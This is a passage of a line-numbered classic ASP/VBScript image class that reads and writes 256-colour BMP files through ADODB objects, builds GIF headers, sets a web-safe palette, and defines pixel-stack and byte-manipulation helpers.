899: LocalDescriptor = LocalDescriptor or lLocalColourTableSize
900: end function
901:
902: ' Retrieve the MagicNumber for a GIF87a/GIF89a 903: private function MagicNumber()
904: MagicNumber = ""
905: MagicNumber = MagicNumber & ChrB(Asc("G"))
906: MagicNumber = MagicNumber & ChrB(Asc("I"))
907: MagicNumber = MagicNumber & ChrB(Asc("F"))
908: MagicNumber = MagicNumber & ChrB(Asc("8"))
909: if GIF89a then
910: MagicNumber = MagicNumber & ChrB(Asc("9"))
911: else
912: MagicNumber = MagicNumber & ChrB(Asc("7"))
913: end if
914: MagicNumber = MagicNumber & ChrB(Asc("a"))
915: end function
916:
917: ' Windows bitmap support 918: private function BitmapMagicNumber()
919: BitmapMagicNumber = ChrB(Asc("B")) & ChrB(Asc("M"))
920: end function
921:
922: ' File support for reading bitmaps using the ADO Stream object 923: public sub LoadBMP(sFilename)
924: Dim objStream
925: Dim sBMP
926:
927: set objStream = Server.CreateObject("ADODB.Stream")
928:
929: objStream.Type = 1 ' adTypeBinary
930: objStream.Open
931: objStream.LoadFromFile sFilename
932:
933: sBMP = objStream.Read
934:
935: objStream.Close
936:
937: set objStream = Nothing
938:
939: DecodeBMP sBMP
940: end sub
941:
942: public sub SaveBMP(sFilename)
943: Dim objStream
944: Dim objRS
945: Dim sBMP
946: Dim aBMP()
947: Dim lTemp
948:
949: sBMP = EncodeBMP
950:
951: set objStream = Server.CreateObject("ADODB.Stream")
952:
953: objStream.Type = 1 ' adTypeBinary
954: objStream.Open
955: objStream.Write ASCIIToByteArray(EncodeBMP)
956: objStream.SaveToFile sFilename,2
957: objStream.Close
958:
959: set objStream = Nothing
960: end sub
961:
962: ' ASCIIToByteArray converts ASCII strings to a byte array 963: ' a byte array is different from an array of bytes, some things require 964: ' a byte array, such as writing to the ADODB stream. This function 965: ' utilises the ADODB ability to convert to byte arrays from dual digit HEX strings... 966: private function ASCIIToByteArray(sText)
967: Dim objRS
968: Dim lTemp
969: Dim sTemp
970:
971: sTemp = ""
972:
973: ' Convert the string to dual digit zero padded hex, 974: ' there ain't no quick way of doing this... Would be interested to hear 975: ' if anyone do this quicker... 976: For lTemp = 1 to LenB(sText)
977: sTemp = sTemp & Right("00" & Hex(AscB(MidB(sText,lTemp,1))),2)
978: Next
979:
980: ' Ok, this may look a little weird, but trust me, this works... 981: ' Open us a recordset 982: set objRS = Server.CreateObject("ADODB.Recordset")
983:
984: ' Add a fields to the current recordset, add the hex string 985: objRS.Fields.Append "Temp",204,LenB(sText)
986: objRS.Open
987: objRS.AddNew
988: objRS("Temp") = sTemp ' ADODB will convert here
989: objRS.Update
990: objRS.MoveFirst
991:
992: ASCIIToByteArray = objRS("Temp") ' A variant byte array is returned
993:
994: objRS.Close
995:
996: set objRS = Nothing
997: end function
998:
999: ' Read a 256 colour bitmap into the canvas from an ASCII string of values 000: ' Bitmaps were chosen because it provides the following: 001: ' * Easy access to the colour table 002: ' * 256 colour support which is strikingly similar to GIF colour support 003: ' * Direct byte for byte copying for the bitmap data 004: ' * No compression, quicker loading and converting 005: public function DecodeBMP(sBuffer)
006: Dim lOffset
007: Dim lNewWidth
008: Dim lNewHeight
009: Dim lBPP
010: Dim lCompression
011: Dim lImageSize
012: Dim lTemp
013: Dim lColourIndex
014: Dim lPad
015: Dim lLineSize
016: Dim sLine
017: Dim sBitmap
018:
019: ' Check the magic number 020: if MidB(sBuffer,1,2) = BitmapMagicNumber then
021: lOffset = GetLong(MidB(sBuffer,11,4))
022: lNewWidth = GetLong(MidB(sBuffer,19,4))
023: lNewHeight = GetLong(MidB(sBuffer,23,4))
024: lBPP = GetWord(MidB(sBuffer,29,2))
025: lCompression = GetLong(MidB(sBuffer,31,4))
026: lImageSize = GetLong(MidB(sBuffer,35,4))
027:
028: ' Check the vital statistics of the image before proceeding 029: ' The criteria for the image is as follows: 030: ' 8 Bits per pixel 031: ' No compression 032: if lBPP = 8 and lCompression = 0 then
033: ' Ok, so we have the header data for the bitmap, now we reformat the image 034: ' Image is resized, nothing is preserved 035: Resize lNewWidth,lNewHeight,False
036:
037: lColourIndex = 0
038:
039: ' Process the palette values, 256 RGBQUAD values in total 040: For lTemp = 55 to 1079 Step 4
041: GlobalColourTable(lColourIndex) = RGB(AscB(MidB(sBuffer,lTemp + 2,1)),AscB(MidB(sBuffer,lTemp + 1,1)),AscB(MidB(sBuffer,lTemp,1)))
042: lColourIndex = lColourIndex + 1
043: Next
044:
045: ' Ok, we have width, height, and a valid colour table 046: ' now we read the bitmap data directly into the string array 047: ' all line lengths MUST be a multiple of 4, so we work out 048: ' the padding (if any) 049: lPad = 4 - (lNewWidth Mod 4) ' We remove this many bytes from the end of each line
050:
051: if lPad = 4 then lPad = 0
052:
053: ' Actual line width in the file 054: lLineSize = lNewWidth + lPad
055:
056: ' Bitmap information starts from the bottom line of the image and works 057: ' its way up 058: sBitmap = MidB(sBuffer,lOffset + 1,lImageSize) ' Get the bitmap data
059:
060: ' Reset sImage 061: sImage = ""
062:
063: ' Copy the data directly into the canvas, byte for byte 064: For lTemp = 1 to LenB(sBitmap) Step lLineSize
065: sImage = MidB(sBitmap,lTemp,lNewWidth) & sImage
066: Next
067: end if
068: end if
069: end function
070:
071: ' Dump a 256 colour bitmap as an ASCII string of values 072: public function EncodeBMP()
073: Dim sTemp
074: Dim lTemp
075: Dim lImageSize
076: Dim lFileSize
077: Dim lPad
078: Dim sBitmap
079: Dim sPad
080:
081: sTemp = sTemp & MakeWord(0) ' Reserved (2)
082: sTemp = sTemp & MakeWord(0) ' Reserved (2)
083: sTemp = sTemp & MakeLong(1078) ' Offset (4)
084: sTemp = sTemp & MakeLong(40) ' Headersize (4)
085: sTemp = sTemp & MakeLong(lWidth) ' Width (4)
086: sTemp = sTemp & MakeLong(lHeight) ' Height (4)
087: sTemp = sTemp & MakeWord(1) ' Planes (2)
088: sTemp = sTemp & MakeWord(8) ' BPP (2)
089: sTemp = sTemp & MakeLong(0) ' Compression (4)
090:
091: lPad = 4 - (lWidth Mod 4)
092:
093: if lPad = 4 then lPad = 0
094:
095: lImageSize = (lWidth + lPad) * lHeight
096:
097: sTemp = sTemp & MakeLong(lImageSize) ' Image Size(4)
098:
099: sTemp = sTemp & MakeLong(0) ' Pixels per meter X (4)
100: sTemp = sTemp & MakeLong(0) ' Pixels per meter Y (4)
101: sTemp = sTemp & MakeLong(256) ' Colours used (4)
102: sTemp = sTemp & MakeLong(256) ' Important colours (4)
103: ' RGBQUAD arrays (BGRX) 104: For lTemp = 0 to UBound(GlobalColourTable) - 1
105: sTemp = sTemp & MakeByte(Blue(GlobalColourTable(lTemp)))
106: sTemp = sTemp & MakeByte(Green(GlobalColourTable(lTemp)))
107: sTemp = sTemp & MakeByte(Red(GlobalColourTable(lTemp)))
108: sTemp = sTemp & MakeByte(0) ' Pad
109: Next
110: ' Image lines from the bottom up, padded to the closest 4 pixels 111:
112: sPad = ""
113: ' Make a pad for the end of each line 114: for lTemp = 1 to lPad
115: sPad = sPad & Chr(0)
116: Next
117:
118: sBitmap = ""
119: ' Do each line 120: for lTemp = 1 to LenB(sImage) step lWidth
121: sBitmap = MidB(sImage,lTemp,lWidth) & sPad & sBitmap
122: next
123:
124: sTemp = sTemp & sBitmap
125:
126: lFileSize = LenB(sTemp) + 6
127:
128: ' Magic number (2) and size of the file in bytes (4) 129: sTemp = BitmapMagicNumber & MakeLong(lFileSize) & sTemp
130:
131: EncodeBMP = sTemp
132: end function
133:
134:
135: private function DecimalToBinary(lNumber)
136: Dim lTemp
137: Dim bFound
138:
139: DecimalToBinary = ""
140:
141: bFound = False
142:
143: for lTemp = 7 to 0 step - 1
144: if lNumber and 2^lTemp then
145: DecimalToBinary = DecimalToBinary & "1"
146: bFound = True
147: elseif bFound then
148: DecimalToBinary = DecimalToBinary & "0"
149: end if
150: next
151:
152: if DecimalToBinary = "" then DecimalToBinary = "0"
153: end function
154:
155: private sub DumpBinary(sBlock,lBitLength,bClose)
156: if bClose then
157: Response.Write "<pre>"
158: end if
159:
160: for lTemp = 1 to LenB(sBlock)
161: ' Write out the binary 162: Response.Write " "
163: for lTemp2 = lBitLength-1 to 0 step -1
164: if AscB(MidB(sBlock,lTemp,1)) and 2^lTemp2 then
165: Response.Write "1"
166: else
167: Response.Write "0"
168: end if
169: next
170: if lTemp Mod lBitLength = 0 then
171: Response.Write "<br>"
172: end if
173: next
174:
175: if bClose then
176: Response.Write "</pre>"
177: end if
178: end sub
179:
180: public sub WebSafePalette()
181: ' Reset the colours to the web safe palette 182: Dim iTemp1
183: Dim iTemp2
184: Dim iTemp3
185: Dim lIndex
186:
187: iIndex = 0
188:
189: For iTemp1 = &HFF0000& to 0 step - &H330000&
190: For iTemp2 = &HFF00& to 0 step - &H3300&
191: For iTemp3 = &HFF& to 0 step - &H33&
192: GlobalColourTable(iIndex) = iTemp1 or iTemp2 or iTemp3
193: iIndex = iIndex + 1
194: Next
195: Next
196: Next
197: end sub
198:
199: private sub Class_Initialize()
200: sImage = "" ' Raster data
201:
202: GIF89a = False ' Default to 87a data
203:
204: ReDim GlobalColourTable(256) ' Start with a 256 colour global table
205: lGlobalColourTableSize = 7
206: bGlobalColourTableFlag = true
207:
208: ReDim LocalColourTable(0) ' No local table support yet
209: lLocalColourTableSize = 0
210: bLocalColourTableFlag = false
211:
212: ' All the 7's 213: lColourResolution = 7
214: iBits = 7 ' Always 7 bit data (128 colours)
215: lCodeSize = 7
216:
217: BackgroundColourIndex = 0
218:
219: BackgroundColourIndex = 0
220: ForegroundColourIndex = 1
221: TransparentColourIndex = 0
222: UseTransparency = False
223:
224: lLeftPosition = 0
225: lTopPosition = 0
226: lWidth = INIT_WIDTH
227: lHeight = INIT_HEIGHT
228:
229: Clear
230:
231: bytePixelAspectRatio = 0
232:
233: bSortFlag = false
234: bInterlaceFlag = false
235:
236: byteSeperator = Asc(",")
237: byteGraphicControl = Asc("!")
238: byteEndOfImage = Asc(";")
239:
240: Comment = ""
241:
242: lReserved = 0
243: bTest = FLAG_DEBUG
244: end sub
245:
246: private sub Class_Terminate()
247: end sub
248: End Class
249:
250: ' Pixel stack for certain pixel operations (like floodfill etc.) 251: Class PixelStack
252: Private aPoints()
253:
254: Public Sub Push(lX,lY)
255: ' Add these coords to the stack 256: ReDim Preserve aPoints(UBound(aPoints) + 1)
257:
258: set aPoints(UBound(aPoints)) = new Point
259:
260: aPoints(UBound(aPoints)).X = lX
261: aPoints(UBound(aPoints)).Y = lY
262: End Sub
263:
264: Public function Pop()
265: ' Get and remove the last coords from the stack 266: Set Pop = aPoints(UBound(aPoints))
267:
268: ReDim Preserve aPoints(UBound(aPoints) - 1)
269: End function
270:
271: Public Property Get Size()
272: Size = UBound(aPoints)
273: End Property
274:
275: Private Sub Class_Initialize()
276: ReDim aPoints(0)
277: End Sub
278:
279: Private Sub Class_Terminate()
280: End Sub
281: End Class
282:
283: ' Simple point class 284: Class Point
285: Public X
286: Public Y
287: End Class
288:
289: ' *************************************************************************** 290: ' ******************* Utility functions for this class ********************** 291: ' *************************************************************************** 292:
293: function GetLong(sValue)
294: GetLong = 0
295: if LenB(sValue) >= 4 then
296: GetLong = ShiftLeft(GetWord(MidB(sValue,3,2)),16) or GetWord(MidB(sValue,1,2))
297: end if
298: end function
299:
300: function MakeLong(lValue)
301: Dim lLowWord
302: Dim lHighWord
303:
304: lLowWord = lValue and 65535
305: lHighWord = ShiftRight(lValue,16) and 65535
306:
307: MakeLong = MakeWord(lLowWord) & MakeWord(lHighWord)
308: end function
309:
310: ' Get a number from a big-endian word 311: function GetWord(sValue)
312: GetWord = ShiftLeft(AscB(RightB(sValue,1)),8) or AscB(LeftB(sValue,1))
313: end function
314:
315: ' Make a big-endian word 316: function MakeWord(lValue)
317: MakeWord = ChrB(Low(lValue)) & ChrB(High(lValue))
318: end function
319:
320: ' Filter out the high byte 321: function MakeByte(lValue)
322: MakeByte = ChrB(Low(lValue))
323: end function
324:
325: function Blue(lValue)
326: Blue = Low(ShiftRight(lValue,16))
327: end function
328:
329: function Green(lValue)
330: Green = Low(ShiftRight(lValue,8))
331: end function
332:
333: function Red(lValue)
334: Red = Low(lValue)
335: end function
336:
337: ' Low byte order 338: function Low(lValue)
339: Low = lValue and 255
340: end function
341:
342: ' High byte order 343: function High(lValue)
344: High = ShiftRight(lValue,8)
345: end function
346:
347: ' Shift all bits left 348: function ShiftLeft(lValue,lBits)
349: ShiftLeft = lValue * (2^lBits)
350: end function
351:
352: ' Shift all bits right 353: function ShiftRight(lValue,lBits)
354: ShiftRight = int(lValue / (2^lBits))
355: end function
356:
357: function DegreesToRadians(ByVal sinAngle)
358: DegreesToRadians = sinAngle * (PI/180)
359: end function
360:
361: function RadiansToDegrees(ByVal sinAngle)
362: RadiansToDegrees = sinAngle * (180/PI)
363: end function
364: %>
365:
366: